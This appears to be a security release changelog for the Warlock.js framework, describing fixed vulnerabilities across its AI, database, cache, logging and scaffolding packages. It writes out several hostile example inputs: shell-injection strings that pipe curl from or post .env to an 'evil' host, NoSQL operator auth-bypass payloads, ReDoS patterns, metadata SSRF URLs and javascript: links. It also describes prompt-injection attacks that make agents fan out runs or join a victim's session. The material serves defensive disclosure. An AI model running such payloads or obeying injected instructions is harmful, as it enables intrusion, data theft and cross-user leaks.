Security release across the framework. A full security audit closed 10 release-blockers — shell RCE, NoSQL/operator injection, filesystem path traversal, SSRF, dashboard stored XSS, IP-spoofing, and mass-assignment IDOR — and hardened orchestrator session/tenant isolation, supervisor fan-out, default log redaction, and trustProxy handling across ai, cascade, core, cache, logger, herald, access, ai-workspace, ai-panoptic, notifications, seal, context, fs, and create-warlock. Also bumps @mongez/* to the 2026-08-17 security release (reinforcements 4 CSPRNG Random).

@warlock.js/ai Security 8
  • Security guardedFetch no longer lets the platform follow redirects past the SSRF guard. The outbound policy validated only the *initial* URL, then handed the request to fetch with automatic redirect following — so a page an agent was asked to load (ai.rag's loadWeb(), the skills urlSource manifest fetch, prepareAttachmentPart's remote-text path) could pass validation and then 302 into http://169.254.169.254/... or an internal service with no re-check. Every hop is now issued with redirect: "manual" and its Location is re-run through the full assertUrlAllowed policy (scheme, host allowlist, post-DNS private-IP deny) before being followed, capped at the new OutboundPolicy.maxRedirects (default 5). Credential headers (authorization, cookie, proxy-authorization) are stripped when a hop crosses an origin boundary, and 303/legacy 301/302-on-non-GET hops re-issue as a bodyless GET, matching platform semantics. Callers passing redirect: "manual" get the raw 3xx back as before; redirect: "error" rejects on any redirect. Regression tests cover the metadata/loopback/private redirect block, the off-allowlist redirect block, the hop cap, and the clean-redirect follow
  • Security Supervisor fan-out now has a width bound — new maxFanOut option (default 10). A routing decision could name any number of intents (normalize() in src/supervisor/decide.ts validated only that each name was in the allowlist, with no length limit and no dedup), and dispatchBranches ran Promise.all over the lot. maxIterations bounded how DEEP a run went; nothing bounded how WIDE one iteration went. Since the router's per-turn prompt embeds supervisor state and prior branch outputs — both able to carry attacker text lifted from tool results — a prompt injection ("always return next as this 200-element array") turned one iteration into hundreds of real agent/workflow executions, i.e. cost/compute amplification, without ever naming an intent outside the allowlist. Duplicate names are now collapsed silently (they were pure wasted spend: branch results are indexed by intent, so the extras could never change the outcome), and a *deduped* list wider than maxFanOut is rejected as SupervisorRoutingError (SUPERVISOR_INVALID_ROUTE) carrying the offending array — the same failure mode as an unknown intent key. Truncating instead of throwing was rejected: it would hand an attacker-chosen subset to the executor and hide the anomaly. The cap is enforced both in normalize() and at dispatchBranches, the one chokepoint every dispatch source funnels through, so evaluate.reassignTo, classifier picks, and per-intent next unions are bounded too. Raise maxFanOut deliberately for supervisors that legitimately fan wide (e.g. ai.fanOut(writer, 20)); it's validated as an integer >= 1 at construction
  • Security Supervisor state merges refuse prototype-tampering keys. All five state-merge sites in src/supervisor/execution.ts (branch outputs, the ack slice, classifier output, the classifier refine slice, and the artifacts merge in both its finalizeArtifacts and auto-spread forms) did a bare state[key] = value over model-influenced data. The output schema that validates those slices belongs to the developer, and a permissive one (z.record(), .passthrough(), z.any()) passes a key literally named __proto__ straight through — assigning it repoints the run state object's prototype. Blast radius was contained (one per-run object, not global Object.prototype), but it became genuine prototype pollution the moment anything downstream used in, hasOwnProperty, or a deep merge on state — and finalizeArtifacts's key-removal pass already used key in merged. A shared mergeSafely / assignSafeKey / isUnsafeMergeKey guard (new src/security/safe-merge.ts, exported from the package's security barrel) now drops __proto__ / constructor / prototype at every one of those sites and logs the refusal as state.merge.unsafe-key; that key in merged check is now Object.hasOwn. Dropping rather than throwing is deliberate — those keys are never legitimate state fields, and mid-iteration is the wrong place to fail a settled run
  • Security orchestrator.asTool({ sessionScope: "shared" }) no longer lets the calling model choose which session it joins. The wrapper read sessionId (and history) straight out of the *validated tool-call payload* — i.e. out of arguments the outer agent's LLM wrote — and handed them to orchestrator.execute(), which loads that session's checkpoint, merges its persisted state, runs a turn against it and writes a fresh checkpoint back. The JSDoc actively instructed developers to thread the session id through inputSchema. A sessionId is bearer-equivalent to full read/write on the session, so any prompt injection reaching the outer agent (a summarized document, a poisoned tool result, a fetched page) could say "continue session <victim-id>" and have the nested orchestrator splice an attacker-directed turn into a stranger's live conversation and return its content — including prior state — into the outer transcript. The target session is now bound OUTSIDE the model-visible schema, via the new OrchestratorAsToolOptions.session: either a literal id fixed at asTool() construction, or a (ctx) => sessionId | { sessionId, history } resolver reading the invocation's ToolContext (the same out-of-band channel signal / artifacts already travel on, which an LLM cannot write to). sessionId / history are stripped from the payload before it is forwarded as execute(input), and a resolver that returns nothing fails the call rather than falling back to the payload. Breaking for "shared" scope only: building such a tool without session now throws at construction. The pre-4.15.0 behavior is still reachable behind unsafeAllowModelSessionId: true, documented at the API surface as bearer-token-equivalent access that obliges the developer to verify session ownership themselves. "fresh" scope (the default) is unchanged
  • Security Orchestrator/agent memory is session-scoped by default — recall can no longer surface another user's remembered turns. OrchestratorConfig.memory is resolved once per orchestrator instance and reused by every execute() / resume() regardless of sessionId, and neither MemoryItem, RecallOptions, MemoryContract nor the four tier implementations carried any session/tenant key — so recall() could not be scoped to the calling session and remember (ON by default) wrote every clean turn's input + outcome text into one shared namespace. In the framework's own documented integration pattern (one ai.memory() built at boot, passed to ai.orchestrator({ memory }), serving all end users) user A's remembered text was recallable by user B's semantically similar turn, with no attacker action required. MemoryItem.scope and RecallOptions.scope are new opaque isolation keys, enforced inside each tier as an exact-equality match before hits are scored, merged or sliced — never left to the caller — and folded into the stored key so two scopes writing identical text stay two entries (including the procedural tier's uses reinforcement counter). All four tiers enforce it: working, semantic, episodic, procedural. An unscoped recall() reads only the unscoped pool; there is no wildcard query. The orchestrator derives the scope from the execute-time sessionId ("session:<id>") — not from the payload, the context bag, or the model — via the new OrchestratorMemoryConfig.scope, which defaults to "session". Behavior change: memories seeded or written before the upgrade are unscoped and are no longer recalled by a session-scoped turn. Cross-session pooling is now an explicit opt-in — scope: "shared" restores the pre-4.15.0 single-pool behavior (and keeps reading pre-upgrade entries); scope: (sessionId) => key derives a custom boundary, e.g. per tenant. The vector tiers overscan before filtering so a noisy neighbouring scope cannot starve a scoped recall of its top-k
  • Security The working-memory tier is size-bounded — new working: { maxItems } (default 1000). WorkingMemory backed its buffer with a plain Map that grew by one entry per unique remember() and had no cap, TTL or eviction of any kind. It is also the one tier that keeps everything it is told in *process* memory, for the lifetime of the memory() instance — which ai.orchestrator({ memory }) resolves ONCE and reuses for every session, for as long as the process runs. Since distinct text derives a distinct id nothing dedups, so an attacker able to drive turns through a memory-backed orchestrator (with remember on by default) added a permanent entry per request until the process ran out of memory: a cheap memory-exhaustion DoS against any internet-facing deployment. The buffer now evicts on overflow. Policy is FIFO over insertion order, not LRU, and deliberately so: recall on this tier is a pure recency proxy (it reverses insertion order and slices the newest k, never reordering), so the front of the buffer is by construction the region recall reaches last — FIFO evicts exactly the entries a bounded recall would never have returned, while true LRU would need read-time reordering that would also rewrite the score every recall reports. Re-remembering an existing id still updates in place and keeps its slot. maxItems is validated as an integer >= 1 at construction and has no unbounded setting — "no cap" is the vulnerability, not a configuration choice; raise it deliberately for a long-lived single-tenant process, and put durable recall in the semantic / episodic tiers, which delegate retention to a CacheDriver. Known and documented limitation: the bound is global rather than per-scope, so a busy session can push another's older entries out — a recall-quality degradation on a volatile scratch tier, never a disclosure (the scope filter still applies), and a per-scope quota would not help against an attacker holding many sessions anyway
  • Security semanticCache() is per-session-scoped by default — one caller's cached answer is no longer served to another. The middleware is built once at app boot and shared by every end user, its namespace was a static string, and a hit is returned as a synthetic ModelResponse with no LLM call in between — so both lookup paths (the exact prompt-hash key and the vector similar() match) could serve user A's cached response, personal context and all, to user B's merely *similar* prompt, and let an attacker seed an entry engineered to sit near a predictable class of future queries and have it answered from the store thereafter. Entries now carry a scope derived from the run's own AgentExecuteOptions.sessionId ("session:<id>", the same derivation the memory fix uses) — read out of the execute options, never out of the prompt or the model's output — folded into the stored key (hashed, since a sessionId is caller-supplied and may contain the key delimiter) *and* re-checked as exact equality on the stored entry, so key-level separation is never the thing authorizing a read. The vector path overscans before filtering, mirroring the memory tiers, so a noisy foreign session cannot occupy the top-k and mask a caller's own hit. New SemanticCacheOptions.scope: "session" (default), "shared" (one pool for every caller — the explicit opt-in for genuinely public Q&A, and the pre-4.15.0 behavior), or (context) => key for a custom boundary such as per-tenant. Two behavior changes to expect: entries written before the upgrade are unscoped and are only read by unscoped runs, and scoping trades cross-user hit rate for isolation — a public FAQ deployment where no response can carry a caller's private context should now set scope: "shared" on purpose. Runs made *without* a sessionId continue to share one unscoped pool (unchanged behavior for them); thread sessionId through execute() — composites already do — to get the isolation
  • Security The planner's plan schema rejects an over-long plan at parse time. Strict-mode JSON Schema cannot express maxItems, so maxSteps was never on the wire (plan-schema.ts discarded the parameter outright with void maxSteps) and the only enforcement was PlannerRun's tail truncation — which runs *after* the whole steps[] array has been parsed, normalized into PlannerStep[] and stored on this.plan. A provider or proxy that ignores the prompt's step budget could therefore make the planner deserialize an arbitrarily long array before anything trimmed it. validate() now enforces a hard ceiling of maxSteps * 4 (or 100 when planSchema is built without a maxSteps), rejecting rather than truncating: a plan several times its budget is a malfunction worth surfacing as the typed PlannerPlanInvalidError, not a prefix worth silently executing. The slack factor keeps the normal case — a model overshooting "at most N steps" slightly, which the runtime still truncates to skipped — working exactly as before
@warlock.js/cascade Security 8
  • Security NoSQL operator injection via equality filters is now rejected. where({ field: value }), where(field, value) and the filter-accepting model statics (first, findFirst, findAll, count, paginate, deleteMany, deleteOne, …) treated the value verbatim, so a request-controlled payload such as { password: { $ne: null } } compiled into a MongoDB *operator* query instead of an equality match — the textbook auth-bypass primitive (User.first({ email, password }) matched any user). Equality-position values (and top-level object-form keys) containing $-prefixed keys now throw UnsafeFilterError. Explicit operator APIs are unaffected: where(field, operator, value), whereIn/whereNull/whereBetween/…, and the object form of whereRaw. Dotted paths ("profile.name") and plain sub-document equality values remain valid. A sanitizeFilter / sanitizeFilterValue helper pair is exported for callers who forward request objects to other driver-level APIs
  • Security String-mode whereRaw() / orWhereRaw() no longer compiles to $where on the MongoDB driver. Any string expression was wrapped as { $where: "<js>" } — JavaScript executed *inside* mongod for every scanned document (an injection sink whenever any part of the string was request-influenced, and an unindexed full-scan DoS even when trusted), with ?-bindings substituted by string concatenation rather than real parameterization. The MongoDB parser now throws UnsafeRawExpressionError for string expressions and directs callers to the object form (whereRaw({ $expr: … })), which keeps working. SQL drivers keep string mode with real bindings
  • Security static hidden — fields toJSON() can never emit. With no resource/toJsonColumns configured (the quick-start model shape), toJSON() — invoked implicitly by JSON.stringify(model) / res.json(model) — returned the entire raw document, password hashes and tokens included. Models can now declare static hidden = ["password", …]; those top-level fields are ALWAYS stripped from toJSON() output — with the raw-document default, with toJsonColumns (hidden wins), and from the data handed to a resource class. Defaults to [], so nothing changes until a model declares hidden fields — but because that default still fails open, cascade now logs a one-time console.warn per model whose schema declares a credential-shaped field (password/passwordHash/secret/token/apiKey/api_key, case-insensitive) that no hidden/resource/toJsonColumns covers
  • Security Atomic/find-and-modify statics now sanitize their filter. atomic(), findAndUpdate(), findOneAndUpdate(), findAndReplace() and findOneAndDelete() forwarded their filter object straight to the driver — bypassing where() and therefore the operator-injection check above, so { role: { $ne: "admin" } } from a request body was still a live operator query on these paths. The filter argument now runs through sanitizeFilter and throws UnsafeFilterError on $-prefixed keys. Update-operator semantics ($set/$inc/$unset/…) are untouched — only the FILTER is checked. Callers who legitimately need operator conditions must express them through the query API (Model.query().where(…)) instead of the raw filter argument
  • Security Residual injection paths closed. The three-argument equality form where(field, "=", value) now sanitizes its value like the two-argument form (other operators are unaffected), and the object form of whereRaw()/orWhereRaw() rejects the server-side JavaScript operators $where, $function and $accumulator anywhere in the expression (throws UnsafeRawExpressionError); $expr and the other aggregation operators keep working
  • Security A merge()d primary key can no longer retarget a write at another document. performUpdate() built its filter from model.get(primaryKey) *after* merge() had run, so the canonical update-my-profile shape — model.merge(req.body); await model.save() — let a body carrying { id: "<victim-id>", role: "admin" } redirect the UPDATE (and the mass-assigned fields with it) onto somebody else's row. Two independent controls now stand between a payload and the write target: (1) an instance captures its primary key at the moment it becomes persisted (isNew flipping to false — hydration, or the writer after an insert), and update/replace/destroy build their filter from that captured value, exposed as model.trustedPrimaryKey; (2) merge() on an already-persisted model drops the identity columns (id, _id, and the configured primary key) instead of applying them — which also covers save({ merge }). Identity columns are additionally excluded from the update's $set/$unset, so an explicit set("id", …) on a loaded record no longer rewrites the key of the row it is pinned to (_id was never writable in MongoDB anyway); changing a primary key is now a deliberate operation through the atomic/raw APIs. Creating a record with an explicit id is unchanged — a new model accepts identity columns — and the writer still merges driver-returned values (generated _id, RETURNING *) back onto the instance through a framework-internal path that request data never reaches
  • Security whereLike / whereSearch string arguments are matched literally instead of compiled as regexes. whereLike, whereNotLike, whereStartsWith/whereEndsWith (and their Not variants) and the $regex form of whereSearch interpolated their argument straight into a MongoDB $regex. Wired to a search box — User.query().whereSearch("name", req.query.q), the intended use — that handed the caller the regex engine running inside mongod: metacharacters rewrote the match semantics (^.*$ matches everything, ^a/^b probes read a value back character by character), and a nested-quantifier pattern such as (a+)+$ backtracked catastrophically against every scanned document. String arguments are now escaped and treated as literals; the SQL LIKE wildcard % still expands (to .*, with runs of % collapsed) and matching stays unanchored/substring as this driver documents. An explicit RegExp argument — which cannot arrive as JSON — is still used as a pattern, so raw regex remains available to developer-authored queries; never build that RegExp from user input. escapeRegex / likePatternToRegexSource are exported for callers compiling their own patterns. The Postgres path was already parameterized (ILIKE $1) and is unchanged
  • Security **@mongez/* dependencies bumped to the 2026-08-17 security release**: @mongez/reinforcements ^3.3.0^4.0.1, @mongez/dotenv ^1.3.1^1.3.2, @mongez/events ^2.2.6^2.2.7, @mongez/supportive-is ^2.1.3^2.1.4. Reinforcements 4 adds a prototype-pollution guard to set/merge/pick/defaults — the utilities behind model.set() / model.merge(), i.e. exactly where request-shaped data enters a model — and a ReDoS fix in repeatsOf. Its breaking change (Random is CSPRNG-backed and no longer honors Random.seed()) does not affect cascade: the package imports no Random API and seeds nothing. Requires Node 20+, which cascade already targets
@warlock.js/core Security 2 Dependencies 3
  • Security request.detectIp() no longer trusts X-Real-IP / X-Forwarded-For unless http.trustProxy is set. Both headers are client-settable, and detectIp() honoured them unconditionally — bypassing the trustProxy opt-in the Fastify server itself is configured with. Any client could therefore spoof its IP to everything keyed on detectIp(): ipFilter allowlists/denylists, the default rate-limit bucket key, and anonymous idempotency scoping. Without the opt-in, detectIp() (and its realIp alias) now returns baseRequest.ip — the socket peer address, which cannot be forged
  • Security http.trustProxy now accepts a hop count or a trusted-proxy list, and detectIp() honours them. true is the wrong shape for the common topology: an edge that *appends* to X-Forwarded-For leaves whatever the client prepended as the leftmost entry, so "trust the leftmost hop" hands the client its own IP back. The config value is passed to Fastify untouched, and detectIp() now reads the resolved client off request.ip instead of re-parsing the header — so both agree, and every Fastify shape works:
  • Dependencies Bumped @mongez/* deps to their 2026-08-17 security release specs: concat-route ^1.2.0, config ^1.2.1, dotenv ^1.3.2, events ^2.2.7, http ^3.5.0, localization ^3.4.7, reinforcements ^4.0.1, supportive-is ^2.1.4
  • Dependencies @mongez/reinforcements 4.0.1 is a major bump: Random is now CSPRNG-backed (WebCrypto) and Random.seed() was removed — seeded/reproducible Random.string/nanoid/id/token/uuid calls now throw. Audited core's Random.string(...) call sites (use-case.ts, http/request.ts, dev-server/files-watcher.ts, http/uploaded-file.ts) and its test suite: none rely on seeding or reproducible output, so no code changes were required
  • Dependencies @mongez/encryption 2.0.1 (async encrypt/decrypt, throws on failure) does not apply to this package — core is not a consumer; src/encryption/encrypt.ts uses Node's built-in crypto module directly and is unaffected
@warlock.js/web Added 7 Fixed 3
  • Added SSR React pages served by the Warlock HTTP server. A page route is an ordinary Warlock route whose handler renders React instead of returning JSON.
  • Added Hydration, and client-side navigation via <Link> — no document reload, Back and Forward included.
  • Added React Fast Refresh in warlock dev, including a server render that reflects the edit rather than the pre-edit module.
  • Added Typed links: href(name, params, query); an unknown route name is a compile error.
  • Added revalidate() — re-run the current route's loaders after a mutation.
  • Added MRR's navigation API mirrored by name (navigateTo, navigateBack, currentRoute, queryString, …) without depending on that package.
  • Added warlock add web scaffolds src/web/ and registers the connector.
  • Fixed metadata() no longer runs when a loader rejected. It used to be called with data: undefined while the type promised otherwise, so a metadata function reading its data threw a TypeError that replaced the loader's real error and pointed at the wrong file.
  • Fixed Validation reads the same query the loader reads. Stage 4 took query and params from a hand-parsed URL while body and headers came from the request — so ?tags=a&tags=b reached validation as "b", and a rule on filter.status never fired because validation saw a key literally named filter[status].
  • Fixed href() emits the query grammar core actually parses; nested objects and arrays are no longer destroyed by String(value).
@warlock.js/cache Security 6 Dependencies 1
  • Security File driver path traversal (Critical): cache keys were mapped to on-disk paths with path.resolve(directory, key) and no sanitization, so a key containing ../ (reachable through set/get/remove/removeNamespace, including keys derived from user input via cached() auto-keys) escaped the cache directory and allowed arbitrary file read, write, and recursive delete. The file driver now percent-encodes %, /, and \ when mapping a key to its directory (each key becomes exactly one contained directory component; the logical .-delimited namespace scheme is unchanged) and additionally asserts the resolved path stays inside the cache root, throwing CacheError otherwise. Memory/redis/pg key semantics are unaffected.
  • Security Redis removeNamespace now escapes glob metacharacters (*, ?, [, \) before building its KEYS pattern, so a namespace carrying untrusted input can no longer widen the match and delete keys outside its own prefix.
  • Security Removed the raw console.log(value) dump of the full cached payload when structuredClone fails in parseCachedData — cached values (potentially PII/tokens) no longer leak to stdout; the structured error log with the value's type is kept.
  • Security Credential leak via error logging (Medium): logError() and the Redis driver's connect() failure path printed the raw Error object straight to stdout (console.log) or to log.fatal, which could include the connection URL — and password — that some Redis/Node client errors echo back in error.message/cause on connection failure. Both call sites now go through a new safeErrorInfo() helper that logs only a redacted { message, code } shape (never the raw error object), with any scheme://user:pass@ credentials in the message masked to scheme://[REDACTED]@. The bare console.log(error)/console.log("Err", error) calls are gone entirely.
  • Security Redis removeNamespace blocking KEYS scan (Medium): replaced the blocking KEYS command with a non-blocking SCAN cursor loop (client.scanIterator), so clearing a namespace on a large keyspace no longer stalls the single-threaded Redis event loop for every other tenant/consumer. The existing glob-escaping fix (above) is unchanged.
  • Security File driver removeNamespace dotted-key gap (Medium): dotted keys (ns.a) are stored as *sibling* directories under the cache root (see the path-traversal fix above), so removing namespace ns — which only ever deleted a directory literally named ns — silently left every ns.* key on disk. removeNamespace now lists the cache root's immediate children, decodes each back to its logical key, and removes every directory whose logical key equals the namespace or starts with <namespace>., matching the boundary semantics the pg driver already used for the same contract. Honors globalPrefix (previously ignored, so a global flush could wipe the whole cache root instead of scoping to the tenant) and preserves the existing path-containment guard.
  • Dependencies Bumped @mongez/reinforcements to ^4.0.1. The major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support; audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*, no hits, so no code changes were needed.
@warlock.js/ai-workspace Security 4
  • Security Fixed a critical command-injection bypass of the shell allowlist. Commands were spawned with shell: true while the allow/deny gate inspected only the leading executable token, so a command like npm test; curl http://evil | sh (or any &&, |, backtick, $(), or redirection chain) passed the gate and the shell executed the injected suffix — a prompt-injected agent could run arbitrary programs past a fail-closed allowlist. Commands are now tokenized into an argv with no shell semantics (quotes respected; unquoted metacharacters ; & | < > ` ` $ ( ) and newlines are rejected outright, by both isCommandAllowed and the local backend) and spawned with shell: false. On Windows, the argv runs through a cmd.exe /d /s /c wrapper with every element individually quoted (batch shims like npm.cmd cannot be spawned shell-less); arguments containing ", %`, or newlines are refused there rather than risked (BatBadBut-class smuggling).
  • Security Fixed run_tests pattern injection. The model-controlled pattern was concatenated verbatim into the shelled test command, giving a second, direct injection path ({ pattern: "; curl http://evil -d @.env #" }). The pattern is now forwarded as a single double-quoted token — one literal argv element to the runner — and patterns containing double quotes or newlines are rejected at input validation.
  • Security Behavior note: shell conveniences (pipes, redirection, chaining, variable expansion) no longer work in run_shell/exec — commands run one argv at a time. Quoted metacharacters remain plain argument data.
  • Security Fixed a ReDoS / event-loop DoS in grep. Ops.grep compiled a model-controlled pattern into a RegExp with no length cap and ran it synchronously, per line, over every scanned file — a pattern like (a+)+$ against an ordinary line could hang the process for an attacker-controlled or prompt-injected duration. grep now rejects patterns over 200 characters and patterns matching a nested-quantifier heuristic ((x+)+, (x*)*, (x+)*, (x*)+-shaped groups) as a new WorkspacePolicyError (type: "unsafe-pattern") before compiling the regex, and skips (rather than tests) any line longer than 2000 characters to bound the worst-case backtracking cost of any single call.
@warlock.js/herald Security 3 Dependencies 1
  • Security Poison-message DoS: an EventConsumer.handle() that reliably throws was nack+requeued forever, with no retry cap and no dead-letter escape hatch — a single bad message could pin a consumer in a hot ack/nack loop indefinitely, starving every other message behind it (worse with low prefetch). prepareConsumerSubscription's catch now calls the channel's bounded ctx.retry() instead of an unconditional ctx.nack(true), so redelivery is capped and the message is dead-lettered (if configured) or dropped with a loud log.error once the cap is hit — never silently, and never forever
  • Security Fixed the retry counter never advancing on the automatic (non-explicit) nack path (RabbitMQChannel.subscribe's catch, used by any direct channel.subscribe(handler, { retry, deadLetter }) caller whose handler throws instead of calling ctx.retry() itself). It read x-retry-count from the *original* message's headers and then plain-nack(msg, false, true)'d — which redelivers that same original message, so the header a developer's retry.maxRetries/deadLetter depended on never changed and the configured cap was silently never reached. Both the automatic path and the explicit ctx.retry() path now share one bounded-retry routine that republishes with an incremented header, so maxRetries/deadLetter are honored regardless of which path a handler takes
  • Security Broker credentials no longer leak into thrown/logged connection errors. username/password are now URI-encoded when building the amqp:// URL (a reserved character like @/:// in a generated secret previously produced a malformed URL whose parser error echoed the raw credential back), and any error surfaced from connect() — including one that embeds a caller-supplied uri with credentials — has user:pass@ redacted before it's re-thrown, so a connection failure can no longer put a plaintext broker password in front of console.error/structured logging/an error tracker
  • Dependencies Bumped @mongez/events to ^2.2.7 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support — audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*; none found, so no code changes were needed.
@warlock.js/logger Fixed 2 Security 1 Dependencies 1
  • Fixed Cloning a log entry for redaction no longer discards an Error's own enumerable properties. Previously, configuring redact at all silently reduced every logged Error to message / stack / name — dropping .code and friends as an unadvertised side effect, and putting .config.headers.authorization permanently out of reach of any path pattern. Those properties are now carried through the clone (and censored by the key denylist above). An Error subclass whose constructor takes a non-string argument also keeps its message instead of being rebuilt as an empty one.
  • Fixed The redaction clone no longer expands buffers, typed arrays, Map, Set, Promise, or RegExp into plain objects — matching what the code already documented. A Buffer in context had been rebuilt as a multi-thousand-key index map.
  • Security Secrets are now redacted by default. This is a behavior change — logs that previously showed these values in cleartext will now show [REDACTED]. Redaction used to be a *tool* (redact.paths, entirely opt-in): unless an application configured it, a password in context, an authorization header, or an apiKey on a logged Error reached every sink — console, log file, JSON log file, Sentry — verbatim. Protection existed only where every call site had been configured correctly, with no signal when one hadn't. It is now a *default*.
  • Dependencies Bumped @mongez/reinforcements to ^4.0.1. The major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support. This package uses Random.string(32) only for the non-security logger-<id> instance identifier; audited for Random.seed( with no hits, so no code changes were needed.
create-warlock Security 1 Dependencies 3
  • Security --pm is now validated against an allow-list (npm/yarn/pnpm/bun) before it reaches anything. Previously an arbitrary --pm string flowed straight into spawn() as the executable to run *and* was spliced verbatim into the generated package.json's script text before that text is parsed as JSON — a crafted value (e.g. --pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#') could inject a postinstall script that the scaffolder's own automatic install() step would then execute, or invoke an arbitrary binary on PATH outright. --yes/non-interactive scaffolds now reject any --pm outside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text).
  • Dependencies Bumped @mongez/reinforcements to ^4.0.1 (package dependency + project template). This is a major bump: Random.string/nanoid/id/token/uuid are now CSPRNG-backed (WebCrypto) and no longer honor Random.seed(), and throw without WebCrypto available. Audited create-warlock's own source and the templates/warlock scaffold for Random.seed/Random.* usage — none found, no code changes required.
  • Dependencies Project template (templates/warlock/package.json) @mongez/* deps bumped: @mongez/localization to ^3.4.7, @mongez/supportive-is to ^2.1.4, @mongez/agent-kit to ^1.2.1.
  • Dependencies Project template @warlock.js/* deps were pinned at the stale 4.0.119 — rewritten to the current lockstep version 4.15.0 to match the published @warlock.js/* packages.
@warlock.js/ai-panoptic Security 2
  • Security Dashboard stored XSS via javascript: markdown links — fixed. The dashboard's markdown link renderer (mdInline in ui.html.ts) rewrote text into a live <a href> without validating the URL scheme, so a javascript: URL embedded in captured trace content (span.input / span.output under captureContent — i.e. prompt-injected model output or attacker-controlled tool results) became a stored XSS that fired when an operator clicked the link; the page's CSP (script-src 'unsafe-inline') permits javascript: URI execution and does not restrict top-level navigation, putting the in-page bearer token in reach. Link URLs are now checked against a scheme allowlist (http:, https:, mailto:, plus relative/anchor URLs) after normalizing the URL the way a browser will — attribute-entity decode, strip of ignored control chars/whitespace (java\tscript:), lowercase — and scheme-relative //host links are rejected too; a rejected URL renders its label as plain text with no href at all. Regression-tested by executing the actual inlined client renderer against javascript:/data:/vbscript: payloads and their case/whitespace/entity obfuscations (ui.html.md-links.spec.ts)
  • Security Dashboard token-handling hardening (3 residual findings from the same audit as the XSS above). None of these are exploitable on their own today, but each widened the blast radius of a future bug: - *Bearer token no longer a page-global.* ui.html.ts's client script kept TOKEN as a var shared across its whole ~1000-line closure. It's now sealed inside its own inner IIFE that exposes only the fetchAuthed helper — code elsewhere in that closure (present or future) can no longer read the raw token by name. - *Constant-time token comparison.* serve.ts's isAuthorized compared the header/query token with plain ===, which short-circuits on the first differing byte and is a textbook timing side-channel — the one scenario the package's own docs call out as realistic (authToken is required specifically when bound off-loopback, i.e. reachable over a network). Both the header and query-string checks now go through crypto.timingSafeEqual on length-checked, equal-length buffers. - *Token-in-URL narrowed to the one route that needs it.* ?token= is no longer accepted on the JSON API routes, only on the HTML page route. The page's own polling already re-sends the token as an Authorization header (fixed in 4.8.2), so the only request that structurally *can't* carry a header is the initial browser navigation that loads the HTML shell — that's the sole remaining query-string exposure, narrowing the token's footprint in access/proxy logs and browser history from every poll to one request.
@warlock.js/ai-tools Security 2
  • Security fetch_url and http_request now deny private-network targets by default and route through @warlock.js/ai's hardened guardedFetch instead of a local host check. Previously allowHosts was the *only* SSRF guardrail and it was opt-in — a bare ai.tools.fetchUrl() / ai.tools.http() would fetch any http(s) URL the model supplied, including http://169.254.169.254/latest/meta-data/..., localhost, and RFC1918 addresses, and neither tool re-validated redirect targets, so even a configured allowlist could be 302'd into an internal endpoint. Both tools now issue every request through the core outbound policy, which by default refuses private / loopback / link-local / CGNAT / cloud-metadata addresses — resolving hostnames through DNS and checking every returned address, failing closed on resolution failure — and re-validates every redirect Location (scheme, allowlist, private-IP deny) before following it, with a hop cap and cross-origin credential-header stripping. Blocks surface as the existing typed errors (WebToolError type: "denied-host", HttpPolicyError type: "host-not-allowed"), so agents still read them as { error } data
  • Security New allowPrivateNetwork option (default false) on both tools for the deliberate case of a tool that must call an internal service (e.g. a local dev server); allowHosts still works and now also constrains redirect targets
@warlock.js/auth Security 1 Dependencies 1
  • Security Login credential lookups are no longer vulnerable to NoSQL operator injection. authService.attemptLogin forwards the request's credential fields (e.g. email, phoneNumber) into Model.first(...) to find the user, so a caller that passed request JSON straight through could smuggle a MongoDB operator object — { email: { $ne: null } }, { email: { $regex: "^a" } } — into the user-lookup filter, breaking its intended equality semantics and enabling account enumeration / targeted-lookup attacks (the password is still verified separately with bcrypt, so this was never a full bypass on its own). The fix lands in @warlock.js/cascade 4.16.0, whose query builder now rejects $-prefixed keys in equality position (UnsafeFilterError); because attemptLogin's lookup routes through cascade, upgrading the family to 4.16.0 closes this with no change to your auth code. If you build user lookups by hand, keep passing scalars — or use the explicit operator API — rather than forwarding raw request objects.
  • Dependencies Bumped @mongez/events to ^2.2.7 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support. This package calls Random.string(32) (device familyId fallback) and Random.token(32) (JWT secret generation) — both are exactly the security-sensitive uses the CSPRNG backing is meant to strengthen, and neither relied on seeding; audited for Random.seed( with no hits, so no code changes were needed.
@warlock.js/seal Security 1 Dependencies 1
  • Security Renamed safeHtmlMutator/.safeHtml() to stripTagsMutator/.stripTags(). The old name implied XSS safety it never provided — the implementation is a naive <[^>]*> regex, not an HTML parser, and can be defeated by malformed/nested markup or content re-introduced later in a pipeline. A developer building v.string().safeHtml() for user-supplied rich text was liable to treat the output as pre-sanitized and skip further output encoding, opening a stored/reflected XSS path. The new names and doc comments make clear this is tag-stripping only; use a real parser-based sanitizer (DOMPurify / sanitize-html) for untrusted rich text. safeHtmlMutator and .safeHtml() remain as deprecated aliases (same behavior, @deprecated JSDoc pointing at the new names) so existing callers do not break.
  • Dependencies Bumped @mongez/supportive-is to ^2.1.4 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support — audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*; none found, so no code changes were needed.
@warlock.js/access Security 1
  • Security Instance-level checks (a resource supplied to check/authorize) that match an RBAC grant but have no registered ABAC policy now emit a one-time log.warn naming the permission, instead of silently falling back to the RBAC grant alone — a typo'd permission name or a forgotten import "./policies" side-effect previously degraded a resource-scoped check to a class-level one with no runtime signal, a silent IDOR footgun. Fail-closed/fail-open semantics are unchanged everywhere else; this is visibility only. Added an opt-in strictPolicies: true access config flag that throws AccessConfigError instead of warning, for apps that want the gap to fail the request/boot rather than just log.
@warlock.js/context Security 1
